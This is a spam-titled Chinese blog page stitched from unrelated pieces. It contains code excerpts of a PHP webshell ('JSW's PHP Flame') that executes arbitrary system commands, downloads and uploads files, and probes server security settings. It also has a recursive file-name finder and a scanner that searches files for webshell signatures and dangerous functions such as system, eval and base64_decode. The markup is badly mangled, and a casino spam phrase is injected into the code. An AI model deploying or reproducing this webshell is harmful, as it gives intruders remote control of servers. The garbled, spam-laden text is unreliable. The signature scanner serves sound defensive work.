澳门新浦京娱乐游戏php文件名与文件内容查找器实例

IPHP_Flame (Version: Progress ) 的一些信息: *修正了无法下载文件的BUG
*修正了无法返回上级的BUG *修正了代码编辑出现错误的BUG ……
*增加PHPINFO的功能 *增加多文件下载的功能 *增加执行系统命令的功能
*增加代码查看功能 *增加服务器安全探测功能 …….
*还有许多美化工作。。。。。。 相关的资料:
1。修正了无法返回上级的BUG的代码: echo “a
href=/”$php_self?act=dir&dir=$dir/../”返回上级/a”;
2。修正了无法下载文件的相关代码: case “download”: if
(!@is_file($_GET[‘file_name’])) echo”你要下的文件不存在”; $filename
= basename($_GET[‘file_name’]); $filename_info = explode(‘.’,
$filename); $fileext = $filename_info[count($filename_info)-1];
header(‘Content-type: application/x-‘.$fileext);
header(‘Content-Disposition: attachment; filename=’.$filename);
header(‘Content-Description: PHP3 Generated Data’);
readfile($_GET[‘file_name’]); break; 3。增加代码查看功能 a
href=”?echo$php_self;??actionaa=cmd&method=show_source&cmd=? echo
$_GET[‘file’];?” target=_blank文件代码/a
4。修正了代码编辑出现错误的代码: $tem=
str_replace(“/textarea”,”//textarea”,$tem); 。。。。。 $tem=
str_replace(“//textarea”,”/textarea”,$tem); 5。增加服务器安全探测功能:
if (get_cfg_var(“safe_mode”))echo”onbr”;else echo”offbr”; echo “*
disable_functions:”;$dis_func=get_cfg_var(“disable_functions”); if
($dis_func==””) { echo(“font color=redbno value/b/font”); } else {
$dis_func=str_replace(” “,”br”,$dis_func);
$dis_func=str_replace(“,”,”br”,$dis_func); echo(“$dis_func”); }
6。执行系统命令部分的代码: ? if ($actionaa==”cmd”) { ? body
bgcolor=”#6595d6″ form name=”form1″ method=”post” action=”?= $PHP_SELF
??actionaa=cmd” select name=”method” option value=”system” ? if
($method==”system”) { echo “selected”; } ?system/option option
value=”passthru” ? if ($method==”passthru”) { echo “selected”; }
?passthru/option option value=”show_source” ? if
($method==”show_source”) { echo “selected”; } ?show_source/option
option value=”opendir” ? if ($method==”opendir”) { echo “selected”; }
?opendir/option option value=”popen” ? if ($method==”popen”) { echo
“selected”; } ?popen/option /selectbr input type=”text” name=”cmd”
size=”40″ value=”?= $cmd; ?” input type=”submit” name=”Submit”
value=”?=$method?” br /form ? if (!$method) { $method=”system”; } if
(!$cmd) { echo “* JSW’S PHP FLAMEbr”; echo “* Author: JSWbr”; echo “*
safe_mode:”;if (get_cfg_var(“safe_mode”))echo”onbr”;else
echo”offbr”; echo “*
disable_functions:”;$dis_func=get_cfg_var(“disable_functions”); if
($dis_func==””) { echo(“font color=redbno value/b/font”); } else {
$dis_func=str_replace(” “,”br”,$dis_func);
$dis_func=str_replace(“,”,”br”,$dis_func); echo(“$dis_func”); } echo
“br* Now please choose a function and enter the command……”; } echo
“brpre”; if ($method==”system”) { system(“$cmd 2&1″); } if
($method==”passthru”) { passthru(“$cmd 2&1″); } if ($method==”opendir”)
{ $h=opendir($cmd); while($file=readdir($h)) { echo “$file/n”; } } if
($method==”show_source”) { if (show_source($cmd)) { //echo “pre”;
//echo show_source($file); //echo “/pre”; } else { echo “script
alert(/”unable to read file: $file using: show_source/”); /script”; } }
if ($method==”popen”) { $pp = popen(‘$cmd 2&1’, ‘r’); $read = fread($pp,
2096); echo $read; pclose($pp); } echo “/pre”; exit; } ?
7。增加文件上载的代码: ?php if($dir==””) $dir=”./”; ? ?
if($tools==upload) { for($i=1;$i21;$i++) { $temp1=”userfile”.$i;
$temp2=”userfile”.$i.”_name”; $source=$$temp1; $source_name=$$temp2;
if(@$source!=””) { @$v=file_exists($filedir); if(!$v) {
mkdir(@$filedir,0777); } @chmod($filedir,0777);
if(file_exists(“$filedir/$source_name”)==”1″) { if($up_flag==”y”) {
@unlink($filedir/$source_name);
@copy($source,”$filedir/$source_name”); echo
$source_name.”已覆盖上传br”; } else echo $source_name.”请重新上传!br”;
} else { @copy($source,”$filedir/$source_name”); echo
$source_name.”已上传br”; } } }//end for echo” html head titleJSW’S PHP
FLAME/title meta “Content-Type/” content=/”text/html; charset=gb2312/”
link href=t.css rel=stylesheet type=text/css script
language=/”javascript/” function setid() { str=’br’;
if(!window.uploadForm.upcount.valuewindow.uploadForm.upcount.value20window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i=window.uploadForm.upcount.value;i++) str+=’文件’+i+’:input
type=/”file/” name=/”userfile’+i+’/” style=/”width:400/”
class=/”tx1/”brbr’; window.upid.innerHTML=str+’br’; } /script /head body
body bgcolor=/”#6595d6/” table width=/”550/” border=/”1/”
cellspacing=/”0/” cellpadding=/”5/” align=/”center/” form name=/”t/”
method=/”get/” action=/”?/” tr class=/”t2/” tdli
1.指定上传目录(默认为本程序所在目录) input type=/”hidden/”
name=/”tools/” value=/”upload/” input type=/”text/” name=/”dir/” input
type=/”submit/” value=/”确定/” name=/”t/”/td/li /tr /form form
name=/”uploadForm/” method=/”post/” action=/”?tools=upload&dir=$dir/”
enctype=/”multipart/form-data/” tr class=/”t2/” td li
2.需要上传的个数(建议最大值 20) input type=/”text/” name=/”upcount/”
class=/”tx/” value=/”1/” input type=/”button/” name=/”Button/”
class=/”bt/” onclick=/”setid();/” value=/”设定/” /li li
3.全部文件都覆盖上传: input type=/”radio/” name=/”up_flag/”
value=/”y/”是input type=/”radio/” name=/”up_flag/” value=/”n/”
checked否 /li br br 您的文件将被上传到: $dir input type=/”hidden/”
name=/”filedir/” class=/”tx/” value=/”$dir/” a
href=/”?/”返回PHP_Flame/a /td /tr tr td id=/”upid/” height=/”122/”
文件1: input type=/”file/” name=/”userfile1/” style=/”width:400/”
class=/”tx1/” value=/”/” /td /tr tr td input type=/”submit/”
name=/”upload/” value=/”上传/” class=/”bt/” input type=/”reset/”
name=/”reset/” value=/”重执/” class=/”bt/” /td /tr/form /table /body
/html”; exit;} ? 。。。。。。 最后指明的是,这个PHP程序是在安然的PHP
Command的基础上编写的,在此表示感谢,完整代码:

php文件查找程序,输入一个路径确定后会遍历目录下所有的文件和文件夹,通过递归可以找到文件夹下面的每一个文件,再通过文件名和输入的关键字匹配,则可以查找到你想要的文件。对于本地,我们可以利用windows自带的查找去进行查找,但是对于线上的话,如查找ftp空间里面文件,本程序是很有用的。

澳门新浦京娱乐游戏 1

php文件查找器源码:

 代码如下

<html>

 <head>

  <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″
/>

  <title>php版文件查找(file search)</title>

 </head>

 <body>

  <form action=”” method=”post”>

  <p> 文件查找(注:区分大小写)</p>

  <p>路径:<input type=”text” name=”path” /></p>

  <p>查找:<input type=”text” name=”key” /></p>

  <p><input type=”submit” name=”sub” value=” 开 始 ”
/></p>

  </form>

 </body>

</html>

<?php

/*

 * 注:区分大小写

 */

if(!empty($_POST[‘path’])&&!empty($_POST[‘key’]澳门新浦京娱乐游戏,)){

 echo “在路径 “.$_POST[‘path’].”/ 中查找 “.$_POST[‘key’].”
的结果为:<hr/>”;

 $file_num = $dir_num = 0;

 $r_file_num = $r_dir_num= 0;

 $findFile = $_POST[‘key’];

 function delDirAndFile( $dirName ){ 

  if ( $handle = @opendir(
“$dirName” ) ) {

   while ( false !== ( $item = readdir( $handle ) ) ) { 

    if ( $item != “.” && $item != “..” ) { 

     if ( is_dir( “$dirName/$item” ) ) { 

      delDirAndFile( “$dirName/$item” );

     } else { 

      $GLOBALS[‘file_num’]++;

      if(strstr($item,$GLOBALS[‘findFile’])){

       echo ” <span><b> $dirName/$item
</b></span><br />n”;

       $GLOBALS[‘r_file_num’]++;

      }

     } 

    }

   }

   closedir( $handle ); 

   $GLOBALS[‘dir_num’]++;

   if(strstr($dirName,$GLOBALS[‘findFile’])){

    $loop =
explode($GLOBALS[‘findFile’],$dirName);

    $countArr = count($loop)-1;

    if(empty($loop[$countArr])){

     echo ” <span style=’color:#297C79;’><b> $dirName
</b></span><br />n”;

     $GLOBALS[‘r_dir_num’]++;

    }

   }

  }else{

   die(“没有此路径!”);

  }

 }

 

 delDirAndFile($_POST[‘path’]);

 echo
“<hr/>本次共搜索到”.$file_num.”个文件,文件夹”.$dir_num.”个<br/>”;

 echo
“<hr/>符合结果的共”.$r_file_num.”个文件,文件夹”.$r_dir_num.”个<br/>”;

}

 

?>

上面只是查找文件,下面看一个查找文件中的字符是否包括我们要找的东西

自己写的一个批量查找文件内容的php程序,我是拿来扫描文件特征码的,现在我
贴出代码,供大家参考

 代码如下

<?php

if ($_POST [‘Submit’] == ‘开始’) {

 $total = 0; //文件总数

 $dangerous = array (); //危险文件

 $dangerous_content = $_POST [“sstr”];

 $find_path = $_POST [“searchpath”];

 $shortname = $_POST [“shortname”];

 echo “<!DOCTYPE html PUBLIC ‘-//W3C//DTD XHTML 1.0 Transitional//EN’
‘;”;

 echo “<html>”;

 echo “<head>”;

 echo “<meta http-equiv=’Content-Type’ content=’text/html;
charset=utf-8′ />”;

 echo “</head>”;

 echo “<body>”;

 $begin_time=date(“U”);

 // $dangerous_content =
“小亮,Root_GP,Root_css,c99sh_updateurl,c99sh_sourcesurl,640684770”;

 visitFile ( $find_path, $shortname );

 $end_time=date(“U”);

 foreach ($dangerous as $d){

  echo $d.”<br/>”;

 }

 echo “查找文件总数:” . $total.” 危险文件:”.count($dangerous).”
总用时”.($end_time-$begin_time).”秒”;

 echo “</body>”;

 echo “</html>”;

 //if (! empty ( $dangerous )) {

  //foreach ( $dangerous as $dan ) {

 //echo “[error]” . $dan . “<br/>”;

 //}

 //}

 exit();

}

function visitFile($path, $ext) {

 global $total;

 global $dangerous_content;

 $fdir = dir ( $path );

 //echo “Handle: ” . $d->handle . “<br>”;

 // echo “Path: ” . $fdir->path . “<br>”;

 set_time_limit ( 24 * 60 * 60 );

 

 while ( ($entry = $fdir->read ()) !== false ) {

  $pathSub = $path . “” . $entry;

  if ($entry != ‘.’ && $entry != ‘..’) {

   if (is_dir ( $pathSub )) {

    visitFile ( $pathSub, $ext );

   } else {

    $exten = explode ( ‘.’, $entry );

    $exten = array_reverse ( $exten ); //把上面数组倒序

    //   foreach ()

    $shortnames = explode ( ‘|’, $ext );

    foreach ( $shortnames as $sn ) {

     if (! empty ( $exten ) && $sn == $exten [0]) {

      $total = $total + 1;

      //echo “开始分析文件:”.$path.”/”.$entry . “<br>”;

      $content = file_get_contents ( $path . “/” . $entry );
//这个性能较好

      $content = strtolower ( $content ); //全部转为小写

      $dangerous_content = strtolower ( $dangerous_content );
//全部转为小写

      isExists ( $dangerous_content, $path . “/” . $entry, $content
);//这个方法太耗内存了,希望有高手能解决一下

     }

    }

    //sleep(1);

   }

  }

 }

 $fdir->close ();

}

function isExists($str, $filename, $content) {

 global $dangerous;

 //sleep ( 1 );

 set_time_limit ( 10 );

 $arr = explode ( ‘,’, $str );

 $signature=”特征码:”;

 if (! empty ( $arr )) {

  //  $content = file_get_contents ( $filename ); //这个性能较好

  $content = strtolower ( $content ); //全部转为小写

  $error_count = 0;

  foreach ( $arr as $a ) {

   if (trim ( $a ) != “”) {

    if (strpos ( $content, $a )) {

     $error_count = $error_count + 1;

     $signature.=$a.” “;

    }

   }

  }

  if ($error_count > 0) {

//   $dangerous [] = $filename;

   $dangerous [] = “[error] ” . $error_count . ” ” .$signature.” ”
. $filename;

   //echo “[error] ” . $error_count . ” ” .$signature.” ” . $filename
. “<br/>”;

  }else{

   //echo “[ok] ”  . $filename . “<br/>”;

  }

 }

}

?>

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN”
“;

<html xmlns=”;

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″
/>

<title>批量查询文件</title>

<style type=”text/css”>

body {

 background: #FFFFFF;

 color: #000;

 font-size: 12px;

}

 

#top {

 text-align: center;

}

 

h1,p,form {

 margin: 0;

 padding: 0;

}

 

h1 {font-size; 14px;

 

}

</style>

</head>

<body>

<div id=”top”>

<h1>批量查找程序</h1>

<div>本程序可以扫描指定目录的所有文件,进行<strong>内容查找</strong>。<br
/>

在文件数量非常多的情况下,本操作比较占用服务器资源,请确脚本超时限制时间允许更改,否则可能无法完成操作。</div>

</div>

 

 

<form action=”<?=$_SERVER [‘SCRIPT_NAME’]?>” name=”form1″

 target=”stafrm” method=”post”>

<table width=”95%” border=”0″ align=”center” cellpadding=”3″

 cellspacing=”1″ bgcolor=”#666666″>

 <tr>

  <td width=”10%”
bgcolor=”#FFFFFF”><strong> 起始根路径:</strong></td>

  <td width=”90%” bgcolor=”#FFFFFF”><input name=”searchpath”
type=”text”

   id=”searchpath” value=”D:/” size=”20″ />
点表示当前目录,末尾不要加/ </td>

 </tr>

 <tr>

  <td
bgcolor=”#FFFFFF”><strong> 文件扩展名:</strong></td>

  <td bgcolor=”#FFFFFF”><input name=”shortname” type=”text”

   id=”shortname” size=”20″ value=”htm|html|shtml|php” />
多个请用|隔开</td>

 </tr>

 <tr id=”rpct”>

  <td height=”64″ colspan=”2″ bgcolor=”#FFFFFF”>

  <table width=”100%” border=”0″ cellspacing=”1″ cellpadding=”1″>

   <tr bgcolor=”#EDFCE2″>

    <td colspan=”4″><strong>内容查找选项:</strong>
<input type=”checkbox”

     name=”isreg” value=”1″
/>使用正则表达式</td>

   </tr>

   <tr>

    <td
colspan=”4″>查找内容类默认使用字符串查找,也可以使用正则表达式(需勾选)。”查找为”不填写的话,就表示删除”查找内容”。

     <br
/>com,system,exec,eval,escapeshell,cmd,passthru,base64_decode,gzuncompress

    </td>

   </tr>

   <tr>

    <td width=”10%”> 查找内容:</td>

    <td width=”36%”
colspan=”3″><textarea
name=”sstr” id=”sstr”

     style=”width: 90%; height:
45px”>小亮,Root_GP,Root_CSS,c99sh_updateurl,c99sh_sourcesurl,640684770,hx_dealdir,while(1)</textarea></td>

   </tr>

  </table>

  </td>

 </tr>

 <tr>

  <td colspan=”2″ height=”20″ align=”center”
bgcolor=”#E2F5BC”><input

   type=”submit” name=”Submit” value=”开始” class=”inputbut”
/></td>

 </tr>

</table>

</form>

<table width=”95%” border=”0″ align=”center” cellpadding=”3″

 cellspacing=”1″ bgcolor=”#666666″>

 <tr bgcolor=”#FFFFFF”>

  <td id=”mtd”>

  <div id=’mdv’ style=’width: 100%; height:
100;’><iframe
name=”stafrm”

   frameborder=”0″ id=”stafrm” width=”100%”
height=”100%”></iframe></div>

  <script
type=”text/javascript”>

    document.all.mdv.style.pixelHeight = screen.height – 450;

    </script></td>

 </tr>

</table>

</body>

</html>

You can leave a response, or trackback from your own site.

Leave a Reply

网站地图xml地图